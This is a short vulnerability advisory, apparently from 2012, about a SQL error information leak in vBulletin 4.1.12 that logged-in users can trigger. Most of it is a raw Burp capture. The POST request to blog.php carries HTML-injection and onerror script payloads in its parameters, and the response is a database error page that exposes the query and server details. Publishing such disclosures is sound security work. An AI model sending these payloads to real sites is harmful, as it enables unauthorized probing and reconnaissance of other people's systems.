vBulletin 4.1.12 SQL Information Disclosure

`   
  
  
  
[ TITLE ....... ][ vBulletin 4.1.12 - sql information leak (for logged-in users)  
[ DATE ........ ][ 03.05.2012  
[ AUTOHR ...... ][ http://hauntit.blogspot.com  
[ SOFT LINK ... ][ http://www.vbulletin.com  
[ VERSION ..... ][ 4.1.12  
[ TESTED ON ... ][ LAMP  
[ ----------------------------------------------------------------------- [  
  
[ 1. What is this?  
[ 2. What is the type of vulnerability?  
[ 3. Where is bug :)  
[ 4. More...  
  
[--------------------------------------------[  
[ 1. What is this?  
This is very nice CMS, You should try it! ;)  
  
[--------------------------------------------[  
[ 2. What is the type of vulnerability?  
  
  
[--------------------------------------------[  
[ 3. Where is bug :)  
  
--- raw from burp ---  
---raw-from-Burp---  
POST /www/22o4/highz/las/blog.php?b=[%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml]&vote=[%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml] HTTP/1.1  
  
Host: localhost  
  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
  
Accept-Language: en-us,en;q=0.5  
  
Accept-Encoding: gzip, deflate  
  
Proxy-Connection: keep-alive  
  
X-Requested-With: XMLHttpRequest  
  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
  
Referer: http://localhost/www/22o4/highz/las/entry.php?2-html-quot-gt-lt-img-src-xxx-onerror-alert(9999)-gt-html  
  
Cookie: skimlinks_enabled=1; vbulletin_userlist_hide_avatars_buddylist=0; editor_height=cms_article%23207px; bb_lastvisit=1335789702; bb_lastactivity=0; bb_sessionhash=bcf4631bc0ea002087ded92c796ac79a; bb_userstyleid=1; bb_skipmobilestyle=0; bb_thread_lastview=7aeffb9e62242afd6746ab9c8bcb589269ddf416a-1-%7Bi-121_i-1335789759_%7D; bb_forum_view=0ca42d3e5b599ba0a771e794d5098040cf6497cba-3-%7Bi-3_i-1335862432_i-2_i-1336034464_i-1_i-1336034445_%7D; bb_calendar=e2e67b4d0ec6ed855d66d62b21910a6cf6af50d6a-3-%7Bs-7-.calyear._i-2012_s-8-.calmonth._i-5_s-8-.calview1._s-12-.displaymonth._%7D; bb_blog_lastview=47cf4ac63a62d3c29c6a536323fa891bc5b8cd46a-1-%7Bi-2_i-1336037033_%7D  
  
Pragma: no-cache  
  
Cache-Control: no-cache  
  
Content-Length: 630  
  
Connection: close  
  
  
  
ajax=1&s=&securitytoken=1336037033-b3ba5f3786a6e5e260d2c6ccde476dd5bde7dc4d&vote=[%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml]&s=&securitytoken=1336037033-b3ba5f3786a6e5e260d2c6ccde476dd5bde7dc4d&do=rate&b=[%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml]&  
  
---and-HTTP-answer---  
  
HTTP/1.1 200 OK  
  
Date: Thu, 03 May 2012 09:26:51 GMT  
  
Server: Apache/2.2.17 (Ubuntu)  
  
X-Powered-By: PHP/5.3.5-1ubuntu7.7  
  
Vary: Accept-Encoding  
  
Connection: close  
  
Content-Type: text/xml; charset=windows-1252  
  
X-Pad: avoid browser bug  
  
Content-Length: 1650  
  
  
  
<?xml version="1.0" encoding="windows-1252"?>  
<errors>  
<error><![CDATA[<p>Database Error</p>]]></error>  
<error_html><![CDATA[<p>Database error in vBulletin 4.1.12 Beta 1</p>  
<p>Invalid SQL:  
  
  
  
REPLACE INTO blog_visitor  
  
(userid, visitorid, dateline, day, visible)  
  
VALUES  
  
(  
  
,  
  
2,  
  
1336037212,  
  
1335909600,  
  
1  
  
);<p>  
<p>  
<strong>MySQL Error</strong> : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '  
  
2,  
  
1336037212,  
  
1335909600,  
  
1  
  
)' at line 5<br />  
<strong>Error Number</strong> : 1064<br />  
<strong>Request Date</strong> : Thursday, May 3rd 2012 @ 11:26:52 AM<br />  
<strong>Error Date</strong> : Thursday, May 3rd 2012 @ 11:26:56 AM<br />  
<strong>Script</strong> : http://localhost/www/22o4/highz/las/blog.php?b=[%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml]&vote=[%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml]<br />  
<strong>Referrer</strong> : http://localhost/www/22o4/highz/las/entry.php?2-html-quot-gt-lt-img-src-xxx-onerror-alert(9999)-gt-html<br />  
<strong>Classname</strong> : vB_Database<br />  
<strong>MySQL Version</strong> : <br />  
</p>]]></error_html>  
</errors>  
  
  
---raw-from-Burp---  
---  
  
Enjoy ;)  
[--------------------------------------------[  
[ 4. More...  
  
- http://hauntit.blogspot.com  
- http://www.google.com  
- http://portswigger.net  
[  
[--------------------------------------------[  
[ Questions? Mail me.  
]  
[ Cheers! o/  
[   
  
`